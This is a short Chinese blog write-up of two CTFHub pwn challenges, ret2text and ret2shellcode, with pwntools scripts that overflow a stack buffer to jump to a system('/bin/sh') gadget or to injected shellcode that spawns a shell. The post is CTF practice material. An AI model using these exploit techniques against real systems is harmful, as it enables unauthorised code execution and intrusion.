ctfhub pwn

ret2text

被ida演了一波,gets不给参数,**********************

后来重新打开一遍就有了

 给了system('/bin/sh')位置是0x4007B8

exp:

from pwn import *        #pwntools
sh=remote("challenge-748ffa23bde40cef.sandbox.ctfhub.com",27960)
#sh = process("pwn2")    #运行起来
getshell = 0x4007b8    #getshell地址  在IDA中查看
payload = b'a' * (0x78) +p64(getshell)   #注意b  和 p32(转成32位小段序)
sh.sendline(payload)    #传递
sh.interactive()               #切换成交互模式

ret2shellcode

 ida打开查看main函数,read处有栈溢出,buf对rbp的偏移量是0x10,宽度是8,返回地址是8

 0x10==>16 +8 ==>24 

exp:

from pwn import *
import re

#host = 'challenge-73515f640e7d1aa5.sandbox.ctfhub.com'
#port = 36434
#p = connect(host,port) #远程连接

p = process("./pwn-ret2shellcode") #本地运行

buf_addr = p.recvuntil("]") #令buf_addr为只到]出现的时候的值
buf_addr = int(buf_addr[-15: -1], 16)  # 截取buf的地址
shellcode_addr = buf_addr + 32  # shellcode 的地址 = buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8


shellcode = asm(shellcraft.sh()) #生成shellcode

payload = b'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值